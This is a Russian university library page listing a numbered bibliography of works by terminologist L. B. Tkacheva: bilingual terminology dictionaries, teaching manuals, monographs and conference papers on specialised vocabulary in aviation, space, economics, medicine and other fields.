Перейти на сайт
библиотеки ОмГТУ
Share |
   
   
   
   
   

 
      Виртуальная справка
 
      Личный кабинет

Логин
Пароль
Забыли пароль?
Регистрация

 
      Счетчики
Rambler's Top100
Яндекс цитирования

Сейчас на сайте

284 пользователей



 
      Наши партнеры
Студенческий информационный портал компании
А Б В Г Д Е Ж З К Л М Н П Р С Т Ф Х Ш Щ Ю

Ткачева Людмила Борисовна

БиографияПубликации (в фонде)Библиографический указатель (выпущен к юбилею)

Библиографический указатель (выпущен к юбилею)

1.              Авиационные термины / Л. Б. Ткачева // Из истории отдельных терминов : коллектив. монография / ОмГТУ, Ом. терминол. центр.  ̶  Омск, 2004.  ̶  Т. 1.  ̶  С. 4-26.

2.              Адекватная военная терминология  ̶ залог обеспечения профессиональной коммуникации / Л. Б. Ткачева // Военная техника, вооружение и современные технологии при создании продукции военного и гражданского назначения : 4 Междунар. технол. конгресс, 4-9 июня / ОмГТУ.  ̶  Омск, 2007.  ̶  Ч. 3.  ̶  С. 120-123.

3.              Актуальные проблемы  научно-технической терминологии. Стандартизация, ГОСТы в переводах научно-технической литературы / Л. Б. Ткачева // Материалы зонального совещания, 4 февр. 1985 г.   ̶  Пенза, 1985.  ̶  С. 88.

4. Актуальные проблемы терминологии в социолингвистическом освещении : автореф. дис. … канд. филол. наук / Л. Б. Ткачева.  ̶  Л. : Изд-во ЛГУ, 1987.  ̶   32 с.

5. Актуальные проблемы аудирования на иностранных языках в неязыковых вузах : сб. науч. тр. / Ом. гос. ун-т ; редкол.: И. Н. Суслов [ и др. ]  ̶  Омск : Изд-во ОмГУ, 1984.  ̶  134 с.

6.  Американо-английские термины в русском подъязыке экономики  / А. Алешинская, Л. Б. Ткачева.  ̶  Омск : Изд-во ОмГТУ, 2006.  ̶  41 с.

7.  Английские сокращения по космической технике  / Л. Б. Ткачева  [и др.].   ̶   М. : ВЦП, 1990.  ̶  39 с.

8. Английские сокращения по математике (для специалистов, переводчиков, преподавателей, аспирантов, студентов) / Л. Б. Ткачева.  ̶  М. : Информ-сервис, 1991.  ̶  55 с.

9.  Английский  язык  для  слушателей школы МВД СССР : учеб. пособие / Л. Б. Ткачева.  ̶  Омск : Изд-во ОВШМ, 1978.  ̶  Ч. 1.   ̶ 104 с.

10.  Английский  язык  для  слушателей школы МВД СССР : учеб. пособие / Л. Б. Ткачева.  ̶  Омск : Изд-во ОВШМ, 1979.  ̶  Ч. 2.  ̶  88 с.

11.   Англо-русские термины : авиационные и ракетные двигатели / Л. Б. Ткачева.  ̶  Омск : ОмГТУ, 2003.  ̶  33 с.

12.  Англо-русские термины в телексах, телеграммах и письмах / Л. Б. Ткачева, А. Н. Чайка.  ̶  Омск, 1996.  ̶  33 с.

13. Англо-русские термины и сокращения по компьютерной информатике / сост. Т. В. Акулина ; под ред. Л. Б. Ткачевой ; ОмГТУ, Ом. терминол. Центр.   ̶  Омск : [Б. и.], 2003.  ̶  99 с.

14. Англо-русские термины по государственному и муниципальному управлению = Englis-russian term on state and municipal managent / сост. Н. С. Уланова ; под ред. Л. Б. Ткачевой ; ОмГТУ, Ом. терминол. Центр.  ̶  Омск : [Б. и.], 2005.  ̶  57 с.

15. Англо-русские термины по криогенной технике / Л. Б. Ткачева, В. И. Грищенко.  ̶  Омск, 1996.  ̶  25 с.

16. Англо-русские термины по культурологии / Л. М. Дмитриева, Л. Б. Ткачева.  ̶  Омск, 1999.  ̶  60 с.

17. Англо-русские термины по летательным аппаратам  / Л. Б. Ткачева, В. Г. Ткачев.  ̶  Омск, 1996.  ̶  39 с.

18. Англо-русские термины по  мобильным  средствам  связи / сост. Е. В. Тихонова ; под ред. Л. Б. Ткачевой ; ОмГТУ, Ом. терминол. Центр.  ̶  Омск : [Б. и.], 2003.  ̶  99 с.

19.  Англо -русский словарь нефрологических и урологических терминов / Л. Б. Ткачева.  ̶  Омск : Изд-во ОмГМА, 2002.  ̶  124 с.

20. Англо-американские термины в немецком подъязыке экономики / сост. Ю. М. Калашникова ; ред. Л. Б. Ткачева.  ̶  Омск : Изд-во  ОмГМА, 2005.  ̶  164 с.

21. Англо-русские термины гражданского права и гражданско – процессуального права  / ред. Л. Б. Ткачева.  ̶  Омск : Изд-во ОмГУ, 2003.  ̶  349 с.

22.  Англо-русские термины и сокращения по компьютерной информатике / сост. Т. В. Акулинина ; под ред. Л. Б. Ткачевой ; ОмГТУ, Ом. терминол. Центр.  ̶  Омск, 2003.  ̶  99 с.

23. Англо-русские  термины  по внешней торговле  / сост. Н. В. Козырева ; ред. Л. Б. Ткачева.  ̶  Омск : Изд-во ОмГТУ, 1998.   ̶  60 с.

24. Англо-русские термины по государственному и муниципальному управлению = English-russian term on state and municipal management / сост. Н. С. Уланова ; под ред. Л. Б. Ткачевой ; ОмГТУ, Ом. терминол. Центр .  ̶  Омск : [Б. и.], 2005.  ̶  57 с.

25. Англо-русские термины по летательным аппаратам : словарь / Л. Б. Ткачева.  ̶  Омск : Изд-во ОмГТУ, 2004.  ̶  26 с.

26. Англо-русские термины по мобильным средствам связи / сост. Е. В. Тихонова ; под ред. Л. Б. Ткачевой ; ОмГТУ, Ом. терминол. Центр.  ̶  Омск, 2003.  ̶  99 с.

27. Англо-русские термины по наркомании  / сост. Л. Б. Ткачева.  ̶  Омск, 2004.  ̶  27 с.

28. Англо-русские термины по политологии / сост. Л. М. Дмитриева ; ред. Л. Б. Ткачева.  ̶  Омск : Изд-во ОмГТУ, 2004.  ̶  112 с.

29. Англо-русские термины по социальной работе : учеб. пособие / сост. Л. К. Кондратюкова ; ред. Л. Б. Ткачева.  ̶  Омск : ОмГМА, 2003.  ̶  68 с.

30. Англо-русские эпонимы / сост. В. В. Вахромеева ; ред. Л. Б. Ткачева ; ОмГТУ, Ом. терминол. центр.  ̶  Омск : Изд-во ОмГТУ, 2003.  ̶  83 с.

31. Англо-русский словарь «Гостиничный бизнес» / ред. Л. Б. Ткачева ; ОмТЕРМ.  ̶  Омск, 2002.  ̶  68 с.

32. Англо-русский словарь «Таможня» / ред. Л. Б. Ткачева ; ОмТЕРМ.  ̶  Омск, 2000.  ̶  63 с.

33. Англо-русский словарь биржевых терминов / сост. Ю. Н. Сидоренко ; ред. Л. Б. Ткачева.  ̶  Омск : Изд-во ОмГТУ, 2005.  ̶  112 с.

34. Англо-русский словарь жаргонных лексических единиц, употребляемых в сфере делового общения / ред. Л. Б. Ткачева.  ̶  Тобольск : Изд-во ТПИ, 2005.  ̶  87 с.

35. Англо-русский словарь криогенной техники / ред. Л. Б. Ткачева.  ̶  Омск : Изд-во ОмГТУ, 2006 .  ̶  65 с.

36. Англо-русский словарь многозначных банковских терминов / сост. Е. Н. Трифонова ; ред. Л. Б. Ткачева.  ̶  Омск : Изд-во ОмГТУ, 2004.  ̶  104 с.

37. Англо-русский словарь наивных медицинских терминов / ред. Л. Б. Ткачева.  ̶  Омск : ООО ОПУС, 2006.  ̶  156 с.

38.  Англо-русский словарь нефрологических и урологических терминов : учеб. пособие / Л. Б. Ткачева, М. В. Токарева, А. В. Лукьянов. – Омск : Изд-во ОмГМА, 2002. – 124 с.

39.  Англо-русский словарь по бухгалтерскому учету / сост. А. Н. Чайка ; ред. Л. Б. Ткачева : ОмТЕРМ.  ̶  Омск : ОмГТУ, 1998.   ̶  71 с.

40. Англо-русский  словарь  по  вычислительной технике (для специалистов, переводчиков, преподавателей, аспирантов и студентов) / В. И. Потапов, Л. Б. Ткачёва, В. И. Король.  ̶  М. : Информ – сервис, 1991.  ̶  48 с.

41.  Англо-русский словарь по катализу / В. И. Сидорова ; под ред. Л. Б. Ткачевой ; ОмГТУ, Ом. терминол. центр.  ̶  Омск : Изд-во ОмГТУ, 2007.  ̶  92 с.

42. Англо-русский словарь по социальной работе / ред. Л. Б. Ткачева.  ̶  Омск : Изд-во ОмГМА, 2003.  ̶  68 с.

43.  Англо-русский словарь по экологии  / К. Ю. Симонова ; под ред. Л. К. Кондратюковой, Л. Б. Ткачевой ; ОмГТУ, Ом. терминол. центр.  ̶  Омск : Изд-во ОмГМА, 2004.  ̶  144 с.

44.  Англо-русский словарь рекламных терминов / сост. Н. П. Андреева ; ред. Л. Б. Ткачева ; ОмГТУ, Ом. терминол. центр.  ̶  Омск : Изд-во ОмГТУ, 2007.  ̶  165 с.

45.  Англо-русский словарь сокращений в финансовой и банковской деятельности / сост. А. Н. Чайка ; ред. Л. Б. Ткачева.  ̶  Омск : ОмГТУ, 1998.   ̶  90 с.

46.  Англо-русский словарь сокращений в космической терминологии / сост. И. Н. Кубышко ; под ред. Л. Б. Ткачевой ; ОмГТУ, Ом. терминол. центр.  ̶  Омск : Диалог, 2006.  ̶  103 с.

47.  Англо-русский словарь театральных терминов / И. Н. Чурилова ; под ред. Л. Б. Ткачевой ; ОмГТУ, Ом. терминол. центр.  ̶  Омск : Диалог, 2007.  ̶  116 с.

48.  Англо-русский словарь терминов герменевтики  / сост. Л. К. Кондратюкова ; ред. Л. Б. Ткачева.  ̶  Калачинск : Титры, 2002.  ̶  64 с.

49.  Англо-русский словарь терминов и номенов полиграфического производства / Л. Б. Ткачева, И. А. Рожнова.   ̶  Омск : Изд-во ОмГТУ, 2005.  ̶  108 с.

50. Англо-русский словарь этических терминов / ред. Л. Б. Ткачёва [и др.].  ̶  Омск : Изд-во  ОмГТУ, 2005.  ̶  88 с.

51. Англо-русский толковый словарь многозначных банковских терминов / сост. Е. Н. Трифонова ; ред. Л. Б. Ткачева.  ̶  Омск : Изд-во  ОмГТУ, 2004.  ̶  104 с.

52. Аннотирование и реферирование английской научно-технической литературы : учеб. пособие для техн. вузов / Л. Б. Ткачева, Л. К. Кондратюкова, Т. В. Акулина.  ̶  Омск : Изд-во ОмГТУ, 2001.  ̶  182 с.

53. Атеистическое воспитание студентов в процессе преподавания иностранных языков / Л. Б. Ткачева // Научно-техническая революция и формирование атеистического мировоззрения студентов : тез. докл. обл. науч.-метод. конф.  ̶  Омск, 1982.  ̶  С. 62-64.

54. Атеистическое воспитание студентов в процессе преподавания иностранных языков : метод. рекомендации / Л. Б. Ткачева.  ̶  Омск : Изд-во ОмПИ, 1982.  ̶  31 с.

55. Взаимодействие социолингвистики и терминографии = The Interaction of Sociolinguistics and Terminography / Л. Б. Ткачева // The 11-th Simposium on Languages for Special Purpose. Book of Abstract.  ̶  Copenhagen, 1997.  ̶  P. 112.

56. Взаимодействие социолингвистики и терминографии = The Interachion of Sociolinguistics and Terminography / Л. Б. Ткачева // Proceedings of the  11 -th European Symposium,  August 1997.  ̶   Copenhagen, 1999.  ̶  P. 420-424.

57. Влияние английского языка на формирование немецкой терминологии / Л. Б. Ткачева // Немцы Сибири : история и культура : материалы 3 Междунар. науч.- практ. конф., 26-28 мая.  ̶  Омск, 1999.  ̶  С. 108-109.

58. Вопросы английской филологии и методики преподавания английского языка / Л. Б. Ткачева.  ̶   Омск : Изд-во ОГПИ, 1976.  ̶  93 с.

59. Вопросы дидактики в техническом вузе : межвуз. сб науч. тр. / редкол. : Г. И. Мельников [и др. ] ; ОмПИ.  ̶  Омск : [Б. и.], 1985.  ̶  182 с.

60. Воспитание коммунистического мировоззрения при обучении английскому языку в школе : метод. пособие / Л. Б. Ткачева.   ̶  Омск : Изд-во ИУУ, 1978.  ̶  17 с.

61. Гибридные образования   ̶  путь к интернационализации терминологии / Л. Б.Ткачева // Взаимодействие языков на различных уровнях и научно-технический перевод : тез.  докл. науч.- практ. конф.   ̶  Орел, 1987.  ̶  С. 101-102.

62. Главная специальность 21 века /Л. Б. Ткачёва // Омская индустрия.  ̶  2005.  ̶  № 2.  ̶  С. 75.

63. 22 года Омскому терминологическому центру, его деятельность, достижения и перспективы = 22 Years of Omsk Terminology Centre  its Activity, Achivements and Perspectives / Л. Б. Ткачева // NEOTERM.  ̶  2000.  ̶  № 37/38.   ̶  P. 18-23.

64. Деловой английский язык : учеб. пособие / Л. Б. Ткачева, Л. И. Воскресенская.  ̶  Омск : Изд-во ОмГТУ, 1997.  ̶  148 с.

65. Деловой английский язык : учеб. пособие для втузов по направлениям подгот. бакалавров и магистров, а также специальностям подгот. дипломир. специалистов техн. профиля / Л. Б. Ткачева, Л. И. Воскресенская.  ̶  Омск : Изд-во ОмГТУ, 2001.  ̶  146 с.

66. Деловой английский язык : учеб. пособие для втузов по направлениям подгот. специалистов, студентов, аспирантов / Л. Б. Ткачева.  ̶  Омск : Изд-во ЦНТИ, 1992.  ̶  62 с.

67. Деятельность Омского терминологического центра по расширению международных контактов / Л. Б. Ткачева // Терминология и перевод в политическом, экономическом и культурном сотрудничестве : тез. докл. Междунар. круглого стола.  ̶  Омск, 1991.  ̶  С. 51-52.

68. Естественные и технические науки в мире культуры : учеб. пособие / Л. Б. Ткачева, С. Ф. Денисова, Л. М. Дмитриева.  ̶  Омск : Изд-во ОмГТУ, 1997.  ̶  448 с.

69. Занятия студентов факультета  иностранных языков в кружке технического перевода, как одна из сторон подготовки к работе в политехнической школе / Л. Б. Ткачева // Вопросы романо-германской филологии и методики преподавания иностранных языков : ученые записки / ОГПИ.  ̶  Омск, 1968.  ̶   Вып. 32.  ̶  С. 70-78.

70. Идейно-политическое воспитание студентов в процессе преподавания английского языка как специальности / Л. Б. Ткачева // Учебно-воспитательная работа в вузе.  ̶  Омск, 1976.  ̶  С. 64-66.

71.  Идеологические аспекты научно-технической терминологии / Л. Б. Ткачева // Теория и практика научно-технического перевода : тез. докл. науч.-практ. семинара.  ̶  Воронеж, 1986.  ̶   С. 65-66.

72.   Из истории  некоторых авиационных терминов в английском языке / Л. Б. Ткачева // Некоторые вопросы теории английского языка и английской литературы : уч. записки / ОГПИ.  ̶  Омск, 1974.   ̶   Вып. 86.   ̶  С. 45-52.

73.   Из истории отдельных терминов : коллектив. моногр. / ОмГТУ, Ом. терминол. центр.  ̶  Омск : Ом. науч. вестник, 2006. – Т. 3 / под ред. Л. Б. Ткачевой.   ̶  75 с.

74.  Из опыта работы над учебником по деловому английскому языку / Л. Б. Ткачева, Л. И. Воскресенская // Современное образование  : управление и новые технологии : тез. докл. науч.-метод. конф.  ̶  Омск, 2000.  ̶  Кн. 1.  ̶  С. 140-141.

75.  Индустриальные тенденции современной эпохи и гуманитарное образование / Л. Б. Ткачева // Междунар. науч.-практ. конф.. ̶  Омск, 1992. ̶  С. 63.

76.  Инновационный проект по терминологизации образовательного процесса и его реализация на всех уровнях ̶ залог успешной профессиональной  подготовки на всех ступенях обучения / Л. Б. Ткачева // Профессиональная коммуникация : вербальные и когнитивные аспекты : сб. тез. докл. Междунар. науч.-практ. конф.   ̶  М., 2009.   ̶  С. 28-29.

77.  Интенсификация процесса перевода специальной литературы с английского языка на русский для студентов и аспирантов : метод. указания / Л. Б. Ткачева [и др.].  ̶  Омск : Изд-во ОмПИ, 1984.  ̶  27 с.

78.  Ислам, общество и культура / Л. Б. Ткачева //  Исламская цивилизация в преддверии 21 века (К 600-летию ислама в Сибири) / ОмГТУ.  ̶  Омск, 1994.  ̶  С. 205.

79. Исследование медицинской терминологии в Омском терминологическом центре / Л. Б. Ткачева // Проблемы упорядочения и стандартизации медицинской терминологии : материалы науч. конф., Юрмала, 27февр.-1 марта.  ̶  М., 1989.  ̶  С. 279-281.

80.  К 25-летию Омского терминологического центра / Л. Б. Ткачева // Научно-техническая терминология.  ̶  2004.  ̶  Вып. 2.  ̶  С. 113-116.

81.  К вопросу об изучении происхождения авиационных терминов в английском языке / Л. Б. Ткачева  // Труды  кафедр  гуманитарных наук : уч. записки / ОГПИ.  ̶  Омск, 1968.  ̶  Вып. 36.  ̶  С. 134-140.

82.  К культуре мира   ̶  через диалог религий, диалог цивилизаций : в 2 т. : материалы Междунар. науч. конф., 3-5 окт. / редкол. : Л. В. Денисова  [и др.].   ̶  Омск : Изд-во ОмГТУ, 2000.  ̶  Т. 1.  ̶  200 с.

83.  К международному единству через терминологию = To World Unity Through Terminology /Л. Б. Ткачёва // The 14-th European Symposium on Language for Special Purpose : Communication, Culture, Knowlage.  ̶  Surrey University, 2003.  ̶  P. 58-59.

84.  К проблеме идеологизации терминов / Л. Б. Ткачева // Научно-техническая терминология, стандартизация, перевод и редактирование : тез. докл. зон. конф.  ̶   Челябинск, 1984.  ̶  С. 13.

85.  К проблеме терминологизации образовательного процесса / Л. Б. Ткачева // Методико-педагогические аспекты терминологии и перевода : сб. науч.-метод. ст.  ̶  Омск, 2006 .  ̶  Вып.1.  ̶  С. 12-26.

86.  К проблеме  упорядочения  английских  терминов, передающих понятия водообмена в космическом полете / М. В. Новоселова, Л. Б. Ткачева // Водоканал : материалы 1 Междунар. науч.-техн. конф.   ̶  Омск, 1998.  ̶  С. 156-158.

87.  К проблеме упорядочения терминов в подъязыке иммунологии / Л. Б. Ткачева, Т. А. Жижкина // Основные направления развития и совершенствования работ по стандартизации научно-технической терминологии в 11 пятилетке : тез. докл. Всесоюз. конф. ̶    М., 1983.  ̶  С. 96-98. 

88. 8 Международная выставка военной техники, технологий и вооружений сухопутных войск : каталог / пер. Л. Б. Ткачевой.  ̶  Омск : ВТТВ, 2009.  ̶   86 с. 

89. 9 Международная выставка высокотехнологичной техники и вооружения : каталог участников / пер. Л. Б. Ткачевой.  ̶  Омск : ВТТВ, 2011.  ̶   92 с.

90.   Категория количества : знание и мнение / Л. Б. Ткачева, Г. Г. Галич // Проблемы межкультурной коммуникации в теории языка и лингводидактике : материалы 2 Междунар. науч.-практ. конф.  ̶   Барнаул, 2006.  ̶  Ч. 1.  ̶  С. 154-158.

91.  Коммерческое товароведение : словарь / сост. : О. И. Соловьева, Л. Б. Ткачева.  ̶   Омск, 1995.  ̶  44 с.

92.   Компьютерная техника : немецко-русский словарь / Л. Б. Ткачева, М. С. Шумайлова.  ̶   Омск : Изд-во ОмГТУ, 2004.  ̶  100 с.

93.  Космическая  терминология английского языка в социолингвистическом освещении : монография / Л. Б. Ткачева ; ОмПИ, 1986.  ̶  149 с.  ̶   Деп. в ИНИОН  РАН 12.02.86, № 24117.

94.   Космические  термины  в  английском языке / Л. Б. Ткачева // Из истории отдельных терминов  : коллектив. моногр. / ОмГТУ, Ом. терминол. центр.  ̶  Омск, 2004.  ̶  Т. 2.  ̶  С. 65-69.

95.   Краткий англо-русский и русско-английский авиационный словарь / Л. Б. Ткачева.  ̶  Омск : П/я 64, 1963.  ̶  71 с.

96.  Макро и микроэкономика : словарь / сост. : Л. А. Родина, Л. Б. Ткачева.  ̶   Омск, 1995.  ̶  25 с.

97.  Маринизмы в авиационной терминологии английского языка / Л. Б. Ткачева // Вопросы романо-германской филологии и методики преподавания иностранных языков : уч. записки / ОГПИ.  ̶  Омск,  1968.  ̶  Вып. 32.  ̶  С.17-25.

98.  Методико-педагогические аспекты терминологии и перевода : сб. науч.-метод. ст. / науч. ред. Л. Б. Ткачева ; ОмГТУ, Ом. терминол. центр.  ̶  Омск : Ом. науч. вестник, 2006.  ̶  Вып.1.  ̶  80 с.

99.  Методические указания по интенсификации процесса перевода специальной литературы с английского языка на русский для студентов и аспирантов / сост.: Л. Б. Ткачева [и др.].  ̶  Омск : Изд-во  ОмПИ, 1984.  ̶  27 с.

100.  Методические указания по обучению студентов и аспирантов терминологии по разделу «Слабая сверхпроводимость. Эффекты Джозефсона и устройства на их основе» / Н. А. Гопкало, В. И. Кривой ; под ред. Л. Б. Ткачевой.  ̶  Омск : Изд-во  ОмПИ, 1985.  ̶  27 с.

101.  Методические указания по усвоению английских терминов специальнотей 0539 и 0540 / сост. Л. Б. Ткачева.  ̶  Омск : Изд-во  ОмПИ, 1987.  ̶  35 с.

102.  Мобильные средства связи : англо-русские термины / ред. Л. Б. Ткачёва.  ̶  Омск : Изд-во ОмГТУ, 2003.  ̶  99 с.

103.  Наиболее  эффективные  методы и приемы по развитию навыков устной речи в старших классах : метод пособие / Л. Б. Ткачева.   ̶  Омск : ИУУ, 1963.  ̶  26 с.

104.  Национализация и глобализация терминов? / Л. Б. Ткачева // АКМС МОСТ : материалы Междунар. конф.  ̶  Омск, 2012.  ̶  С. 15-17.

105.  Некоторые вопросы теории английского языка и английской литературы / Л. Б. Ткачева.  ̶  Омск : Изд-во ОГПИ, 1987.  ̶  199 с.

106.  Некоторые  приемы работы над  общественно-политическими текстами на старших курсах факультета иностранных языков / Л. Б. Ткачева, Л. Л. Чубкина // Методика высшего педагогического образования / ОГПИ.  ̶  Омск, 1962.  ̶  Вып.  2.  ̶  С. 14-20.

107.  Некоторые прогнозы в развитии терминологии = Same prognoses in the Devolopment of Terminology / L. B. Tkacheva  // Language for Special Purposes  Perspectives for New Millenium.   ̶  Gotingen,  2001.  ̶  V 1. ̶  P. 202- 206.

108.  Некоторые соображения о проблемах, методах и организации терминологических исследований / Л. Б. Ткачева // Совершенствование перевода научно- технической литературы и документации : тез. докл. Всесоюз. конф.  ̶  М., 1988.  ̶  С. 140-142.

109. Некоторые тенденции образования терминологических аббревиатур / Л. Б. Ткачева // Научно-техническая терминология.  ̶  1984.  ̶  № 8.  ̶  С. 11-13.

110.  Немецко-русские термины – молоко и молочные продукты / ред. Л. Б. Ткачева ; ОмТЕРМ.  ̶  Омск, 1994.  ̶  55 с.

111.   Немецко-русский словарь сокращений терминов Интернет / М. С. Шумайлова ; ред. Л. Б. Ткачева ; ОмГТУ, Ом. терминол. центр.  ̶  Омск : Изд-во ОмГТУ, 2005 .  ̶  97 с.

112.   Немецко-русские термины по терроризму и наркомании / ред. Л. Б. Ткачева.  ̶  Омск : Изд-во ОмГТУ, 2006 .  ̶  100 с.

113. Неопределенно-количественные прономинативы в поле концептов «всегда-никогда» и «везде-нигде» в современном немецком языке / Л. Б. Ткачева, Г. Г. Галич // Вестник омского университета.  ̶  2004.   ̶  № 3.  ̶  С. 79-81.

114.  Новый век  ̶  новые проблемы / Л. Б. Ткачева // Омский научный вестник. ̶  2002.  ̶ ̶  Вып. 18. ̶  С. 5-7.

115.  О десятилетней деятельности Омского терминологического центра / Л. Б. Ткачева // Терминологическое обеспечение научно-технического прогресса : тез. докл. зон. науч.- практ. конф.  ̶  Омск, 1988.  ̶  С. 153-154.

116.  О ложных терминологических неологизмах / Л. Б. Ткачева // Научно-техническая терминология.  ̶  2002.  ̶  Вып. 2.  ̶  С. 82-83.

117.  О необходимости практического владения терминологией /Л. Б. Ткачева // Научно-техническая терминология : материалы 9 Междунар. конф. по терминологии : науч. сб.  ̶  М., 2003.  ̶  Вып. 2.  ̶  С. 76-77.

118.  О переводе гипотетических терминов / Л. Б. Ткачева // Терминологические аспекты научно-технического перевода : тез. докл. зон. конф.  ̶  Пенза, 1987.  ̶  С. 93-94.

119.   О происхождении некоторых авиационных терминов в английском языке / Л. Б. Ткачева // Германские языки.  ̶  Новосибирск,  1967.  ̶  С. 60-68.

120.  О работе Омского терминологического центра / Л. Б. Ткачева // Совершенствование перевода научно-технической литературы и документации : материалы Всесоюз. конф.  ̶  М., 1982.  ̶  С. 140-142.

121. О  социолингвистическом  подходе к изучению терминов / Л. Б. Ткачева // Вопросы английской филологии и методики преподавания английского языка.  ̶  Омск, 1976.  ̶  С. 30-35.

122. О тенденции  к сокращению терминологических единиц в функциональных подъязыках / Л. Б. Ткачева // Функциональные особенности лексики английского языка : сб. науч. тр. / ОмПИ.  ̶   Омск, 1986.  ̶   С. 60-67.

123.  О  терминах  религиоведения / Л. Б. Ткачева // Православие. Общество. Культура : материалы Междунар. науч. конф. «Русское православие : 4 века в Сибири. К 100-летию Омско-Тарской епархии». ̶  Омск, 1995.  ̶  С. 198-199.

124. О терминоведческой терминологии В. М. Лейчика /Л. Б. Ткачева // Лингвистика, терминоведение, стилистика.  ̶  М. ; Рязань, 2003.  ̶  С. 175-178.

125. О терминологии иностранных языков / Л. Б. Ткачева // Ислам. Общество. Культура : материалы  Междунар. науч. конф.  ̶  Омск, 1994.  ̶  С. 156-157.

126. Об адекватности терминов в рекламном деле / Л. Б. Ткачева // Полиграфия в современной России : материалы Междунар. науч. конф., 4-5 апреля.  ̶  Омск,  2001.  ̶  С. 174-177.

127.  Об адекватности терминологических понятий / Л. Б. Ткачева // Омский научный вестник.  ̶  1999.  ̶  Вып.7.  ̶  С. 66-68.

128. Об  одной  семантической  группе  английских терминов в  протестантизме / Л. Б. Ткачева // Протестантизм в Сибири : история и современность : материалы Междунар. науч. конф..  ̶  Омск, 1998.  ̶  С. 135-138.     

129. Об одном авиационном термине (опыт социолингвистического исследования ) / Л. Б. Ткачева // Профориентационное обучение в вузе : сб. науч. тр.  ̶  Пермь, 1983.  ̶  С. 82-86.

130. Об одном продуктивном способе терминообразования в английском языке / Л. Б. Ткачева // Научная литература. Язык, стиль, жанры.  ̶  М., 1985.  ̶  С. 329-334.

131. Об эффективности аудирования при обучении практике речи по специальности / Л. Б. Ткачева // Актуальные проблемы обучения аудированию на иностранных языках в неязыковых вузах.  ̶   Омск, 1984.  ̶   С. 127-130.

132. От происхождения термина к  прогнозированию  дальнейшего развития терминологии / Л. Б. Ткачева // Нормативное и описательное терминоведение  : материалы 10 Междунар. конф.  ̶  М., 2004.  ̶  С. 81-83.

133. Обучение научно-технической терминологии  ̶  одна из основных задач инженерного образования / Л. Б. Ткачева // Качество инженерного образования : тез. докл. Междунар. науч.-метод конф.  ̶  Брянск, 2000.  ̶  С. 161-162.

134. Обучение финансово-банковской терминологии в Омском институте терминологии и перевода / Л. Б. Ткачева, А. Н. Чайка // Современное образование : управление и новые технологии : тез. докл. науч.-метод конф.  ̶  Омск, 2000.  ̶  Кн. 1.  ̶  С. 141-142.

135. Один из путей поиска эквивалентов / Л. Б. Ткачева // Материалы научно-практического семинара по переводу.  ̶  Пенза, 1986.  ̶  С. 90-91.

136. Омский терминологический центр и развитие авиационной и ракетно-космической техники / Л. Б. Ткачева  // Проблемы разработки, изготовления и эксплуатации ракетно-космической и авиационной техники : материалы 3 регион. науч. конф., посвящ. памяти гл. конструктора ПО «Полет» А. С. Клинышкова.  ̶  Омск, 2008.  ̶  С. 251-255.

137. Омский терминологический центр научно-технической литературы и документации / Л. Б. Ткачева // Научно-техническая информация. Сер. 2.  ̶  № 1.  ̶  С. 30-32.

138. Омскому терминологическому центру  ̶  22 года / Л. Б. Ткачева // Омский научный вестник.  ̶  2000.  ̶  Вып. 12.  ̶  С. 36-38.

139. Ономасионные и гипотетические термины в английских подъязыках авиации и астронавтики / Л. Б. Ткачева // Из истории отдельных терминов : коллектив. моногр. / ОмГТУ, Ом. терминол. центр.  ̶  Омск, 2011. ̶  Т. 4. ̶  С. 100-119.

140. Основные  закономерности  английской  терминологии : монография / Л. Б. Ткачева ; под ред. И. В. Арнольд.  ̶   Томск : Изд-во ТГУ, 1987.  ̶  200 с.

141. Основные направления  деятельности Омского терминологического центра / Л. Б. Ткачева // Теория и практика научно-технического перевода : тез. Междунар. конф.  ̶  М., 1985.  ̶  С. 215-218. 

142. Основные принципы формирования терминосистемы экологии в английском языке / Л. Б. Ткачева, М. В. Моисеев // Водоканал, Омск-98 : материалы Междунар. науч.-техн.  конф. / ОмГТУ.   ̶   Омск, 1998.    ̶  С. 151-152.

143. Особенности компрессии терминологических единиц в английском языке / Л. Б. Ткачева // Научно-техническая терминология.  ̶  2000.  ̶  Вып. 2.  ̶  С. 87-89.

144. Отраслевая терминология и ее экстралингвистическая обусловленность / Л. Б. Ткачева // Межвуз. сб. науч. тр.  ̶  Воронеж, 1986.  ̶   С. 157. 

145. От терминологических знаний   ̶  к ускорению информационных процессов / Л. Б. Ткачева // Динамика систем, механизмов и машин : материалы 4 Междунар. науч.-техн. конф., посвящ. 65-летию ОмГТУ, 13-15 нояб. / редкол.: А. В. Косых [и др.].   ̶  Омск, 2007.  ̶  Кн. 4.  ̶  2007.   ̶  426 с.

146. Перевод английской научно-технической литературы : учеб. пособие для неяз.  вузов / Л. Б. Ткачева, Л. К. Кондратюкова, Л. И. Воскресенская.   ̶   Омск : Изд-во ОмГТУ, 2003.  ̶  139 с.

147. Перспективы развития терминологии в ХХI веке = Perspectives of Terminology Development in the XXI Century / L. B. Tkacheva.  ̶  NEOTERM.  ̶  2003.  ̶  N 41/42.  ̶  C. 17-21.

148. Поиск, обработка и оформление внутриотраслевых терминов / Л. Б. Ткачева // Терминологическая система как объект лексикографии : материалы симпозиума.  ̶  М., 1989.  ̶  С. 30-33.

149. Православие. Общество. Культура  : материалы  Междунар. науч. конф. "Русское православие : 4 века в Сибири. К 100-летию Омско-Тарской епархии" / Ом.-Тар. епархия  Рус. Православ. Церкви  [и др.].   ̶   Омск : Полиграф, 1995.   ̶   248 с.

150. Практическое значение теоретических исследований терминологии / Л. Б. Ткачева // Теория и практика перевода : тез. докл. науч. конф.  ̶  Новосибирск, 1986.  ̶  С. 23-24.

151. Применение видеокурсов для развития навыков общения на английском языке / Л. Б. Ткачева, М. В. Моисеев // Современное образование : управление и новые технологии : тез. докл. науч.-метод. конф.  ̶ Омск, 2000.  ̶  Кн. 1.  ̶  С. 138-139.

152. Проблемы декодирования адресов web-сайтов / Л. Б. Ткачева,  А. А. Епанчинцев // Омский научный вестник.  ̶  2001.  ̶  Вып. 14.  ̶  С. 147-148.

153. Проблемы современной терминологии в ОПК /Л. Б. Ткачева // Военная техника, вооружение и технологии двойного применения  : материалы 3 Междунар. технол. конгр., 7-10 июня / ОмГТУ. ̶  Омск, 2005.  ̶  Ч. 1.  ̶  С. 242-244.

154. Проблемы социолингвистики в английском языке / Л. Б. Ткачева.  ̶  Омск : Изд-во ОГПИ, 1979.  ̶  102 с.

155. Проблемы терминологии в международном сотрудничестве = The Problems of  Terminology in International Cooperation / L. B. Tkacheva // LSP 2001 «Porta Scientia»,  20-24 August 2001.  ̶  Vaasa University, 2001.  ̶  P. 157.

